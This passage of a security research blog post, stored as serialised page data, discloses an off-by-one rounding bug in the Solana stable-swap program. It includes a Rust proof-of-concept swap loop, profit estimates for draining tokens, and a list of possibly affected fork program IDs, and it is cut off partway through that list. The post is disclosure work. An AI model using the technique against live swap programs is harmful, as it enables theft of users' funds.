let",{"type":24,"tag":158,"props":4734,"children":4735},{"style":188},[4736],{"type":29,"value":2262},{"type":24,"tag":158,"props":4738,"children":4739},{"style":177},[4740],{"type":29,"value":4741},"y_new",{"type":24,"tag":158,"props":4743,"children":4744},{"style":188},[4745],{"type":29,"value":191},{"type":24,"tag":158,"props":4747,"children":4748},{"style":177},[4749],{"type":29,"value":4750},"_",{"type":24,"tag":158,"props":4752,"children":4753},{"style":188},[4754],{"type":29,"value":723},{"type":24,"tag":158,"props":4756,"children":4757},{"style":222},[4758],{"type":29,"value":1285},{"type":24,"tag":158,"props":4760,"children":4761},{"style":188},[4762],{"type":29,"value":2262},{"type":24,"tag":158,"props":4764,"children":4765},{"style":496},[4766],{"type":29,"value":4767},"checked_u8_power",{"type":24,"tag":158,"props":4769,"children":4770},{"style":188},[4771],{"type":29,"value":504},{"type":24,"tag":158,"props":4773,"children":4774},{"style":222},[4775],{"type":29,"value":2212},{"type":24,"tag":158,"props":4777,"children":4778},{"style":177},[4779],{"type":29,"value":4780},"y",{"type":24,"tag":158,"props":4782,"children":4783},{"style":188},[4784],{"type":29,"value":191},{"type":24,"tag":158,"props":4786,"children":4787},{"style":465},[4788],{"type":29,"value":4789},"2",{"type":24,"tag":158,"props":4791,"children":4792},{"style":188},[4793],{"type":29,"value":521},{"type":24,"tag":158,"props":4795,"children":4796},{"style":222},[4797],{"type":29,"value":4798},"?.",{"type":24,"tag":158,"props":4800,"children":4801},{"style":496},[4802],{"type":29,"value":4803},"checked_add",{"type":24,"tag":158,"props":4805,"children":4806},{"style":188},[4807],{"type":29,"value":504},{"type":24,"tag":158,"props":4809,"children":4810},{"style":177},[4811],{"type":29,"value":2907},{"type":24,"tag":158,"props":4813,"children":4814},{"style":188},[4815],{"type":29,"value":521},{"type":24,"tag":158,"props":4817,"children":4818},{"style":222},[4819],{"type":29,"value":4820},"?",{"type":24,"tag":158,"props":4822,"children":4823},{"style":188},[4824],{"type":29,"value":2125},{"type":24,"tag":158,"props":4826,"children":4827},{"class":160,"line":280},[4828,4833,4838,4842,4847,4851,4855,4859,4863,4867,4871,4875,4879,4883,4887,4891,4895,4900,4904,4909,4913,4917,4921,4925],{"type":24,"tag":158,"props":4829,"children":4830},{"style":222},[4831],{"type":29,"value":4832}," .",{"type":24,"tag":158,"props":4834,"children":4835},{"style":496},[4836],{"type":29,"value":4837},"checked_ceil_div",{"type":24,"tag":158,"props":4839,"children":4840},{"style":188},[4841],{"type":29,"value":504},{"type":24,"tag":158,"props":4843,"children":4844},{"style":496},[4845],{"type":29,"value":4846},"checked_u8_mul",{"type":24,"tag":158,"props":4848,"children":4849},{"style":188},[4850],{"type":29,"value":504},{"type":24,"tag":158,"props":4852,"children":4853},{"style":222},[4854],{"type":29,"value":2212},{"type":24,"tag":158,"props":4856,"children":4857},{"style":177},[4858],{"type":29,"value":4780},{"type":24,"tag":158,"props":4860,"children":4861},{"style":188},[4862],{"type":29,"value":191},{"type":24,"tag":158,"props":4864,"children":4865},{"style":465},[4866],{"type":29,"value":4789},{"type":24,"tag":158,"props":4868,"children":4869},{"style":188},[4870],{"type":29,"value":521},{"type":24,"tag":158,"props":4872,"children":4873},{"style":222},[4874],{"type":29,"value":4798},{"type":24,"tag":158,"props":4876,"children":4877},{"style":496},[4878],{"type":29,"value":4803},{"type":24,"tag":158,"props":4880,"children":4881},{"style":188},[4882],{"type":29,"value":504},{"type":24,"tag":158,"props":4884,"children":4885},{"style":177},[4886],{"type":29,"value":741},{"type":24,"tag":158,"props":4888,"children":4889},{"style":188},[4890],{"type":29,"value":521},{"type":24,"tag":158,"props":4892,"children":4893},{"style":222},[4894],{"type":29,"value":4798},{"type":24,"tag":158,"props":4896,"children":4897},{"style":496},[4898],{"type":29,"value":4899},"checked_sub",{"type":24,"tag":158,"props":4901,"children":4902},{"style":188},[4903],{"type":29,"value":504},{"type":24,"tag":158,"props":4905,"children":4906},{"style":177},[4907],{"type":29,"value":4908},"d_val",{"type":24,"tag":158,"props":4910,"children":4911},{"style":188},[4912],{"type":29,"value":521},{"type":24,"tag":158,"props":4914,"children":4915},{"style":222},[4916],{"type":29,"value":4820},{"type":24,"tag":158,"props":4918,"children":4919},{"style":188},[4920],{"type":29,"value":521},{"type":24,"tag":158,"props":4922,"children":4923},{"style":222},[4924],{"type":29,"value":4820},{"type":24,"tag":158,"props":4926,"children":4927},{"style":188},[4928],{"type":29,"value":473},{"type":24,"tag":158,"props":4930,"children":4931},{"class":160,"line":301},[4932,4937,4942,4946,4950],{"type":24,"tag":158,"props":4933,"children":4934},{"style":1914},[4935],{"type":29,"value":4936}," if",{"type":24,"tag":158,"props":4938,"children":4939},{"style":177},[4940],{"type":29,"value":4941}," y_new",{"type":24,"tag":158,"props":4943,"children":4944},{"style":222},[4945],{"type":29,"value":3175},{"type":24,"tag":158,"props":4947,"children":4948},{"style":177},[4949],{"type":29,"value":4681},{"type":24,"tag":158,"props":4951,"children":4952},{"style":188},[4953],{"type":29,"value":210},{"type":24,"tag":158,"props":4955,"children":4956},{"class":160,"line":626},[4957,4962],{"type":24,"tag":158,"props":4958,"children":4959},{"style":1914},[4960],{"type":29,"value":4961}," break",{"type":24,"tag":158,"props":4963,"children":4964},{"style":188},[4965],{"type":29,"value":473},{"type":24,"tag":158,"props":4967,"children":4968},{"class":160,"line":668},[4969,4974,4979],{"type":24,"tag":158,"props":4970,"children":4971},{"style":188},[4972],{"type":29,"value":4973}," } ",{"type":24,"tag":158,"props":4975,"children":4976},{"style":1914},[4977],{"type":29,"value":4978},"else",{"type":24,"tag":158,"props":4980,"children":4981},{"style":188},[4982],{"type":29,"value":210},{"type":24,"tag":158,"props":4984,"children":4985},{"class":160,"line":676},[4986,4991,4995,4999],{"type":24,"tag":158,"props":4987,"children":4988},{"style":177},[4989],{"type":29,"value":4990}," y",{"type":24,"tag":158,"props":4992,"children":4993},{"style":222},[4994],{"type":29,"value":462},{"type":24,"tag":158,"props":4996,"children":4997},{"style":177},[4998],{"type":29,"value":4941},{"type":24,"tag":158,"props":5000,"children":5001},{"style":188},[5002],{"type":29,"value":473},{"type":24,"tag":158,"props":5004,"children":5005},{"class":160,"line":684},[5006],{"type":24,"tag":158,"props":5007,"children":5008},{"style":188},[5009],{"type":29,"value":5010}," }\n",{"type":24,"tag":158,"props":5012,"children":5013},{"class":160,"line":700},[5014],{"type":24,"tag":158,"props":5015,"children":5016},{"style":188},[5017],{"type":29,"value":3967},{"type":24,"tag":25,"props":5019,"children":5020},{},[5021,5026],{"type":24,"tag":32,"props":5022,"children":5023},{},[5024],{"type":29,"value":5025},"approximate",{"type":29,"value":5027},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":24,"tag":25,"props":5029,"children":5030},{},[5031],{"type":29,"value":5032},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":24,"tag":147,"props":5034,"children":5036},{"code":5035,"language":150,"meta":7,"className":151,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[5037],{"type":24,"tag":154,"props":5038,"children":5039},{"__ignoreMap":7},[5040,5048,5087,5095,5124,5151,5167,5183,5208,5224,5240,5256,5272,5288,5300,5308,5330,5337,5345,5410,5417,5446,5453,5483,5491,5551],{"type":24,"tag":158,"props":5041,"children":5042},{"class":160,"line":161},[5043],{"type":24,"tag":158,"props":5044,"children":5045},{"style":2588},[5046],{"type":29,"value":5047},"// from sbtc to renbtc\n",{"type":24,"tag":158,"props":5049,"children":5050},{"class":160,"line":213},[5051,5056,5060,5064,5068,5073,5078,5083],{"type":24,"tag":158,"props":5052,"children":5053},{"style":1914},[5054],{"type":29,"value":5055},"for",{"type":24,"tag":158,"props":5057,"children":5058},{"style":177},[5059],{"type":29,"value":1969},{"type":24,"tag":158,"props":5061,"children":5062},{"style":165},[5063],{"type":29,"value":2020},{"type":24,"tag":158,"props":5065,"children":5066},{"style":465},[5067],{"type":29,"value":2025},{"type":24,"tag":158,"props":5069,"children":5070},{"style":222},[5071],{"type":29,"value":5072}," ..",{"type":24,"tag":158,"props":5074,"children":5075},{"style":465},[5076],{"type":29,"value":5077}," 50",{"type":24,"tag":158,"props":5079,"children":5080},{"style":171},[5081],{"type":29,"value":5082},"u8",{"type":24,"tag":158,"props":5084,"children":5085},{"style":188},[5086],{"type":29,"value":210},{"type":24,"tag":158,"props":5088,"children":5089},{"class":160,"line":238},[5090],{"type":24,"tag":158,"props":5091,"children":5092},{"style":2588},[5093],{"type":29,"value":5094}," // create swap transaction\n",{"type":24,"tag":158,"props":5096,"children":5097},{"class":160,"line":259},[5098,5102,5106,5111,5115,5120],{"type":24,"tag":158,"props":5099,"children":5100},{"style":165},[5101],{"type":29,"value":2710},{"type":24,"tag":158,"props":5103,"children":5104},{"style":165},[5105],{"type":29,"value":4676},{"type":24,"tag":158,"props":5107,"children":5108},{"style":177},[5109],{"type":29,"value":5110}," swap_instruction",{"type":24,"tag":158,"props":5112,"children":5113},{"style":222},[5114],{"type":29,"value":462},{"type":24,"tag":158,"props":5116,"children":5117},{"style":496},[5118],{"type":29,"value":5119}," swap",{"type":24,"tag":158,"props":5121,"children":5122},{"style":188},[5123],{"type":29,"value":2156},{"type":24,"tag":158,"props":5125,"children":5126},{"class":160,"line":280},[5127,5132,5137,5141,5146],{"type":24,"tag":158,"props":5128,"children":5129},{"style":222},[5130],{"type":29,"value":5131}," &",{"type":24,"tag":158,"props":5133,"children":5134},{"style":188},[5135],{"type":29,"value":5136},"spl_token",{"type":24,"tag":158,"props":5138,"children":5139},{"style":222},[5140],{"type":29,"value":2146},{"type":24,"tag":158,"props":5142,"children":5143},{"style":496},[5144],{"type":29,"value":5145},"id",{"type":24,"tag":158,"props":5147,"children":5148},{"style":188},[5149],{"type":29,"value":5150},"(),\n",{"type":24,"tag":158,"props":5152,"children":5153},{"class":160,"line":301},[5154,5158,5163],{"type":24,"tag":158,"props":5155,"children":5156},{"style":222},[5157],{"type":29,"value":5131},{"type":24,"tag":158,"props":5159,"children":5160},{"style":177},[5161],{"type":29,"value":5162},"swap_pubkey",{"type":24,"tag":158,"props":5164,"children":5165},{"style":188},[5166],{"type":29,"value":235},{"type":24,"tag":158,"props":5168,"children":5169},{"class":160,"line":626},[5170,5174,5179],{"type":24,"tag":158,"props":5171,"children":5172},{"style":222},[5173],{"type":29,"value":5131},{"type":24,"tag":158,"props":5175,"children":5176},{"style":177},[5177],{"type":29,"value":5178},"swap_authority_pubkey",{"type":24,"tag":158,"props":5180,"children":5181},{"style":188},[5182],{"type":29,"value":235},{"type":24,"tag":158,"props":5184,"children":5185},{"class":160,"line":668},[5186,5190,5195,5199,5204],{"type":24,"tag":158,"props":5187,"children":5188},{"style":222},[5189],{"type":29,"value":5131},{"type":24,"tag":158,"props":5191,"children":5192},{"style":177},[5193],{"type":29,"value":5194},"test_account_signer",{"type":24,"tag":158,"props":5196,"children":5197},{"style":222},[5198],{"type":29,"value":347},{"type":24,"tag":158,"props":5200,"children":5201},{"style":496},[5202],{"type":29,"value":5203},"pubkey",{"type":24,"tag":158,"props":5205,"children":5206},{"style":188},[5207],{"type":29,"value":5150},{"type":24,"tag":158,"props":5209,"children":5210},{"class":160,"line":676},[5211,5215,5220],{"type":24,"tag":158,"props":5212,"children":5213},{"style":222},[5214],{"type":29,"value":5131},{"type":24,"tag":158,"props":5216,"children":5217},{"style":177},[5218],{"type":29,"value":5219},"sbtc_user_account",{"type":24,"tag":158,"props":5221,"children":5222},{"style":188},[5223],{"type":29,"value":235},{"type":24,"tag":158,"props":5225,"children":5226},{"class":160,"line":684},[5227,5231,5236],{"type":24,"tag":158,"props":5228,"children":5229},{"style":222},[5230],{"type":29,"value":5131},{"type":24,"tag":158,"props":5232,"children":5233},{"style":177},[5234],{"type":29,"value":5235},"sbtc_reserve",{"type":24,"tag":158,"props":5237,"children":5238},{"style":188},[5239],{"type":29,"value":235},{"type":24,"tag":158,"props":5241,"children":5242},{"class":160,"line":700},[5243,5247,5252],{"type":24,"tag":158,"props":5244,"children":5245},{"style":222},[5246],{"type":29,"value":5131},{"type":24,"tag":158,"props":5248,"children":5249},{"style":177},[5250],{"type":29,"value":5251},"renbtc_reserve",{"type":24,"tag":158,"props":5253,"children":5254},{"style":188},[5255],{"type":29,"value":235},{"type":24,"tag":158,"props":5257,"children":5258},{"class":160,"line":785},[5259,5263,5268],{"type":24,"tag":158,"props":5260,"children":5261},{"style":222},[5262],{"type":29,"value":5131},{"type":24,"tag":158,"props":5264,"children":5265},{"style":177},[5266],{"type":29,"value":5267},"renbtc_user_account",{"type":24,"tag":158,"props":5269,"children":5270},{"style":188},[5271],{"type":29,"value":235},{"type":24,"tag":158,"props":5273,"children":5274},{"class":160,"line":1447},[5275,5279,5284],{"type":24,"tag":158,"props":5276,"children":5277},{"style":222},[5278],{"type":29,"value":5131},{"type":24,"tag":158,"props":5280,"children":5281},{"style":177},[5282],{"type":29,"value":5283},"admin_fee_account_sbtc_to_ren",{"type":24,"tag":158,"props":5285,"children":5286},{"style":188},[5287],{"type":29,"value":235},{"type":24,"tag":158,"props":5289,"children":5290},{"class":160,"line":1509},[5291,5296],{"type":24,"tag":158,"props":5292,"children":5293},{"style":465},[5294],{"type":29,"value":5295}," 1",{"type":24,"tag":158,"props":5297,"children":5298},{"style":188},[5299],{"type":29,"value":235},{"type":24,"tag":158,"props":5301,"children":5302},{"class":160,"line":1527},[5303],{"type":24,"tag":158,"props":5304,"children":5305},{"style":465},[5306],{"type":29,"value":5307}," 2\n",{"type":24,"tag":158,"props":5309,"children":5310},{"class":160,"line":1545},[5311,5316,5320,5325],{"type":24,"tag":158,"props":5312,"children":5313},{"style":188},[5314],{"type":29,"value":5315}," )",{"type":24,"tag":158,"props":5317,"children":5318},{"style":222},[5319],{"type":29,"value":347},{"type":24,"tag":158,"props":5321,"children":5322},{"style":496},[5323],{"type":29,"value":5324},"unwrap",{"type":24,"tag":158,"props":5326,"children":5327},{"style":188},[5328],{"type":29,"value":5329},"();\n",{"type":24,"tag":158,"props":5331,"children":5332},{"class":160,"line":1618},[5333],{"type":24,"tag":158,"props":5334,"children":5335},{"emptyLinePlaceholder":16},[5336],{"type":29,"value":481},{"type":24,"tag":158,"props":5338,"children":5339},{"class":160,"line":1635},[5340],{"type":24,"tag":158,"props":5341,"children":5342},{"style":2588},[5343],{"type":29,"value":5344}," // nonce\n",{"type":24,"tag":158,"props":5346,"children":5347},{"class":160,"line":1644},[5348,5353,5357,5362,5366,5371,5375,5379,5383,5388,5392,5396,5400,5405],{"type":24,"tag":158,"props":5349,"children":5350},{"style":177},[5351],{"type":29,"value":5352}," swap_instruction",{"type":24,"tag":158,"props":5354,"children":5355},{"style":222},[5356],{"type":29,"value":347},{"type":24,"tag":158,"props":5358,"children":5359},{"style":188},[5360],{"type":29,"value":5361},"data",{"type":24,"tag":158,"props":5363,"children":5364},{"style":222},[5365],{"type":29,"value":347},{"type":24,"tag":158,"props":5367,"children":5368},{"style":496},[5369],{"type":29,"value":5370},"append",{"type":24,"tag":158,"props":5372,"children":5373},{"style":188},[5374],{"type":29,"value":504},{"type":24,"tag":158,"props":5376,"children":5377},{"style":222},[5378],{"type":29,"value":2212},{"type":24,"tag":158,"props":5380,"children":5381},{"style":165},[5382],{"type":29,"value":2169},{"type":24,"tag":158,"props":5384,"children":5385},{"style":496},[5386],{"type":29,"value":5387}," vec!",{"type":24,"tag":158,"props":5389,"children":5390},{"style":188},[5391],{"type":29,"value":2048},{"type":24,"tag":158,"props":5393,"children":5394},{"style":177},[5395],{"type":29,"value":1832},{"type":24,"tag":158,"props":5397,"children":5398},{"style":188},[5399],{"type":29,"value":191},{"type":24,"tag":158,"props":5401,"children":5402},{"style":177},[5403],{"type":29,"value":5404},"extranonce",{"type":24,"tag":158,"props":5406,"children":5407},{"style":188},[5408],{"type":29,"value":5409},"]);\n",{"type":24,"tag":158,"props":5411,"children":5412},{"class":160,"line":1652},[5413],{"type":24,"tag":158,"props":5414,"children":5415},{"emptyLinePlaceholder":16},[5416],{"type":29,"value":481},{"type":24,"tag":158,"props":5418,"children":5419},{"class":160,"line":1704},[5420,5424,5428,5433,5437,5441],{"type":24,"tag":158,"props":5421,"children":5422},{"style":165},[5423],{"type":29,"value":2710},{"type":24,"tag":158,"props":5425,"children":5426},{"style":165},[5427],{"type":29,"value":4676},{"type":24,"tag":158,"props":5429,"children":5430},{"style":177},[5431],{"type":29,"value":5432}," instructions",{"type":24,"tag":158,"props":5434,"children":5435},{"style":222},[5436],{"type":29,"value":462},{"type":24,"tag":158,"props":5438,"children":5439},{"style":496},[5440],{"type":29,"value":5387},{"type":24,"tag":158,"props":5442,"children":5443},{"style":188},[5444],{"type":29,"value":5445},"[];\n",{"type":24,"tag":158,"props":5447,"children":5448},{"class":160,"line":1713},[5449],{"type":24,"tag":158,"props":5450,"children":5451},{"emptyLinePlaceholder":16},[5452],{"type":29,"value":481},{"type":24,"tag":158,"props":5454,"children":5455},{"class":160,"line":1731},[5456,5461,5465,5470,5474,5479],{"type":24,"tag":158,"props":5457,"children":5458},{"style":177},[5459],{"type":29,"value":5460}," instructions",{"type":24,"tag":158,"props":5462,"children":5463},{"style":222},[5464],{"type":29,"value":347},{"type":24,"tag":158,"props":5466,"children":5467},{"style":496},[5468],{"type":29,"value":5469},"push",{"type":24,"tag":158,"props":5471,"children":5472},{"style":188},[5473],{"type":29,"value":504},{"type":24,"tag":158,"props":5475,"children":5476},{"style":177},[5477],{"type":29,"value":5478},"swap_instruction",{"type":24,"tag":158,"props":5480,"children":5481},{"style":188},[5482],{"type":29,"value":1071},{"type":24,"tag":158,"props":5484,"children":5486},{"class":160,"line":5485},24,[5487],{"type":24,"tag":158,"props":5488,"children":5489},{"emptyLinePlaceholder":16},[5490],{"type":29,"value":481},{"type":24,"tag":158,"props":5492,"children":5494},{"class":160,"line":5493},25,[5495,5500,5504,5509,5513,5517,5522,5526,5530,5535,5539,5543,5547],{"type":24,"tag":158,"props":5496,"children":5497},{"style":177},[5498],{"type":29,"value":5499}," env",{"type":24,"tag":158,"props":5501,"children":5502},{"style":222},[5503],{"type":29,"value":347},{"type":24,"tag":158,"props":5505,"children":5506},{"style":496},[5507],{"type":29,"value":5508},"execute_as_transaction",{"type":24,"tag":158,"props":5510,"children":5511},{"style":188},[5512],{"type":29,"value":504},{"type":24,"tag":158,"props":5514,"children":5515},{"style":222},[5516],{"type":29,"value":2212},{"type":24,"tag":158,"props":5518,"children":5519},{"style":177},[5520],{"type":29,"value":5521},"instructions",{"type":24,"tag":158,"props":5523,"children":5524},{"style":188},[5525],{"type":29,"value":191},{"type":24,"tag":158,"props":5527,"children":5528},{"style":222},[5529],{"type":29,"value":2212},{"type":24,"tag":158,"props":5531,"children":5532},{"style":496},[5533],{"type":29,"value":5534},"vec!",{"type":24,"tag":158,"props":5536,"children":5537},{"style":188},[5538],{"type":29,"value":2048},{"type":24,"tag":158,"props":5540,"children":5541},{"style":222},[5542],{"type":29,"value":2212},{"type":24,"tag":158,"props":5544,"children":5545},{"style":177},[5546],{"type":29,"value":5194},{"type":24,"tag":158,"props":5548,"children":5549},{"style":188},[5550],{"type":29,"value":5409},{"type":24,"tag":158,"props":5552,"children":5554},{"class":160,"line":5553},26,[5555],{"type":24,"tag":158,"props":5556,"children":5557},{"style":188},[5558],{"type":29,"value":307},{"type":24,"tag":25,"props":5560,"children":5561},{},[5562],{"type":29,"value":5563},"It works!",{"type":24,"tag":4606,"props":5565,"children":5566},{},[5567],{"type":24,"tag":25,"props":5568,"children":5569},{},[5570],{"type":29,"value":5571},"holy shit\nyea, this is big",{"type":24,"tag":25,"props":5573,"children":5574},{},[5575],{"type":24,"tag":84,"props":5576,"children":5578},{"alt":7,"src":5577},"/posts/spl-swap/poc.png",[],{"type":24,"tag":59,"props":5580,"children":5582},{"id":5581},"exploitability",[5583],{"type":29,"value":5584},"Exploitability",{"type":24,"tag":25,"props":5586,"children":5587},{},[5588],{"type":29,"value":5589},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":24,"tag":25,"props":5591,"children":5592},{},[5593],{"type":29,"value":5594},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":24,"tag":25,"props":5596,"children":5597},{},[5598],{"type":29,"value":5599},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":24,"tag":25,"props":5601,"children":5602},{},[5603],{"type":24,"tag":84,"props":5604,"children":5606},{"alt":7,"src":5605},"/posts/spl-swap/pr.png",[],{"type":24,"tag":25,"props":5608,"children":5609},{},[5610,5612,5617],{"type":29,"value":5611},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":24,"tag":32,"props":5613,"children":5614},{},[5615],{"type":29,"value":5616},"per instruction",{"type":29,"value":5618},". Transactions on Solana can also contain multiple instructions.",{"type":24,"tag":25,"props":5620,"children":5621},{},[5622],{"type":29,"value":5623},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":24,"tag":25,"props":5625,"children":5626},{},[5627,5629,5634],{"type":29,"value":5628},"Some quick napkin math confirms that this ",{"type":24,"tag":32,"props":5630,"children":5631},{},[5632],{"type":29,"value":5633},"is",{"type":29,"value":5635}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":24,"tag":25,"props":5637,"children":5638},{},[5639],{"type":24,"tag":154,"props":5640,"children":5644},{"className":5641},[5642,5643],"language-math","math-inline",[5645],{"type":24,"tag":158,"props":5646,"children":5649},{"className":5647},[5648],"katex",[5650],{"type":24,"tag":158,"props":5651,"children":5654},{"className":5652,"ariaHidden":3185},[5653],"katex-html",[5655,5764,5820,5860],{"type":24,"tag":158,"props":5656,"children":5659},{"className":5657},[5658],"base",[5660,5666,5673,5737,5747,5753,5760],{"type":24,"tag":158,"props":5661,"children":5665},{"className":5662,"style":5664},[5663],"strut","height:0.8141em;",[],{"type":24,"tag":158,"props":5667,"children":5670},{"className":5668},[5669],"mord",[5671],{"type":29,"value":5672},"1",{"type":24,"tag":158,"props":5674,"children":5676},{"className":5675},[5669],[5677,5683],{"type":24,"tag":158,"props":5678,"children":5680},{"className":5679},[5669],[5681],{"type":29,"value":5682},"0",{"type":24,"tag":158,"props":5684,"children":5687},{"className":5685},[5686],"msupsub",[5688],{"type":24,"tag":158,"props":5689,"children":5692},{"className":5690},[5691],"vlist-t",[5693],{"type":24,"tag":158,"props":5694,"children":5697},{"className":5695},[5696],"vlist-r",[5698],{"type":24,"tag":158,"props":5699,"children":5702},{"className":5700,"style":5664},[5701],"vlist",[5703],{"type":24,"tag":158,"props":5704,"children":5706},{"style":5705},"top:-3.063em;margin-right:0.05em;",[5707,5713],{"type":24,"tag":158,"props":5708,"children":5712},{"className":5709,"style":5711},[5710],"pstrut","height:2.7em;",[],{"type":24,"tag":158,"props":5714,"children":5720},{"className":5715},[5716,5717,5718,5719],"sizing","reset-size6","size3","mtight",[5721],{"type":24,"tag":158,"props":5722,"children":5724},{"className":5723},[5669,5719],[5725,5731],{"type":24,"tag":158,"props":5726,"children":5728},{"className":5727},[5669,5719],[5729],{"type":29,"value":5730},"−",{"type":24,"tag":158,"props":5732,"children":5734},{"className":5733},[5669,5719],[5735],{"type":29,"value":5736},"8",{"type":24,"tag":158,"props":5738,"children":5740},{"className":5739},[5669,29],[5741],{"type":24,"tag":158,"props":5742,"children":5744},{"className":5743},[5669],[5745],{"type":29,"value":5746}," BTC",{"type":24,"tag":158,"props":5748,"children":5752},{"className":5749,"style":5751},[5750],"mspace","margin-right:0.2222em;",[],{"type":24,"tag":158,"props":5754,"children":5757},{"className":5755},[5756],"mbin",[5758],{"type":29,"value":5759},"∗",{"type":24,"tag":158,"props":5761,"children":5763},{"className":5762,"style":5751},[5750],[],{"type":24,"tag":158,"props":5765,"children":5767},{"className":5766},[5658],[5768,5773,5779,5786,5791,5797,5807,5811,5816],{"type":24,"tag":158,"props":5769,"children":5772},{"className":5770,"style":5771},[5663],"height:1em;vertical-align:-0.25em;",[],{"type":24,"tag":158,"props":5774,"children":5776},{"className":5775},[5669],[5777],{"type":29,"value":5778},"$41",{"type":24,"tag":158,"props":5780,"children":5783},{"className":5781},[5782],"mpunct",[5784],{"type":29,"value":5785},",",{"type":24,"tag":158,"props":5787,"children":5790},{"className":5788,"style":5789},[5750],"margin-right:0.1667em;",[],{"type":24,"tag":158,"props":5792,"children":5794},{"className":5793},[5669],[5795],{"type":29,"value":5796},"400/",{"type":24,"tag":158,"props":5798,"children":5800},{"className":5799},[5669,29],[5801],{"type":24,"tag":158,"props":5802,"children":5804},{"className":5803},[5669],[5805],{"type":29,"value":5806},"BTC",{"type":24,"tag":158,"props":5808,"children":5810},{"className":5809,"style":5751},[5750],[],{"type":24,"tag":158,"props":5812,"children":5814},{"className":5813},[5756],[5815],{"type":29,"value":5759},{"type":24,"tag":158,"props":5817,"children":5819},{"className":5818,"style":5751},[5750],[],{"type":24,"tag":158,"props":5821,"children":5823},{"className":5822},[5658],[5824,5829,5835,5845,5850,5856],{"type":24,"tag":158,"props":5825,"children":5828},{"className":5826,"style":5827},[5663],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":24,"tag":158,"props":5830,"children":5832},{"className":5831},[5669],[5833],{"type":29,"value":5834},"150",{"type":24,"tag":158,"props":5836,"children":5838},{"className":5837},[5669,29],[5839],{"type":24,"tag":158,"props":5840,"children":5842},{"className":5841},[5669],[5843],{"type":29,"value":5844}," swaps",{"type":24,"tag":158,"props":5846,"children":5849},{"className":5847,"style":5848},[5750],"margin-right:0.2778em;",[],{"type":24,"tag":158,"props":5851,"children":5854},{"className":5852},[5853],"mrel",[5855],{"type":29,"value":1285},{"type":24,"tag":158,"props":5857,"children":5859},{"className":5858,"style":5848},[5750],[],{"type":24,"tag":158,"props":5861,"children":5863},{"className":5862},[5658],[5864,5869],{"type":24,"tag":158,"props":5865,"children":5868},{"className":5866,"style":5867},[5663],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":24,"tag":158,"props":5870,"children":5872},{"className":5871},[5669],[5873],{"type":29,"value":5874},"$0.0621",{"type":24,"tag":25,"props":5876,"children":5877},{},[5878],{"type":29,"value":5879},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":24,"tag":25,"props":5881,"children":5882},{},[5883],{"type":29,"value":5884},"We're well on our way to becoming a millionaire!",{"type":24,"tag":59,"props":5886,"children":5888},{"id":5887},"patch",[5889],{"type":29,"value":5890},"Patch",{"type":24,"tag":25,"props":5892,"children":5893},{},[5894],{"type":29,"value":5895},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":24,"tag":25,"props":5897,"children":5898},{},[5899],{"type":29,"value":5900},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":24,"tag":147,"props":5902,"children":5904},{"code":5903,"language":1092,"meta":7,"className":1093,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n",[5905],{"type":24,"tag":154,"props":5906,"children":5907},{"__ignoreMap":7},[5908],{"type":24,"tag":158,"props":5909,"children":5910},{"class":160,"line":161},[5911,5915,5920,5925,5930,5935,5940],{"type":24,"tag":158,"props":5912,"children":5913},{"style":496},[5914],{"type":29,"value":4553},{"type":24,"tag":158,"props":5916,"children":5917},{"style":1108},[5918],{"type":29,"value":5919}," logs",{"type":24,"tag":158,"props":5921,"children":5922},{"style":1108},[5923],{"type":29,"value":5924}," -um",{"type":24,"tag":158,"props":5926,"children":5927},{"style":222},[5928],{"type":29,"value":5929}," |",{"type":24,"tag":158,"props":5931,"children":5932},{"style":496},[5933],{"type":29,"value":5934}," grep",{"type":24,"tag":158,"props":5936,"children":5937},{"style":1108},[5938],{"type":29,"value":5939}," 'Instruction: Swap'",{"type":24,"tag":158,"props":5941,"children":5942},{"style":1108},[5943],{"type":29,"value":5944}," -B1\n",{"type":24,"tag":25,"props":5946,"children":5947},{},[5948],{"type":29,"value":5949},"With some Google dorking, we were able to identify many of these programs.",{"type":24,"tag":147,"props":5951,"children":5953},{"code":5952},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap 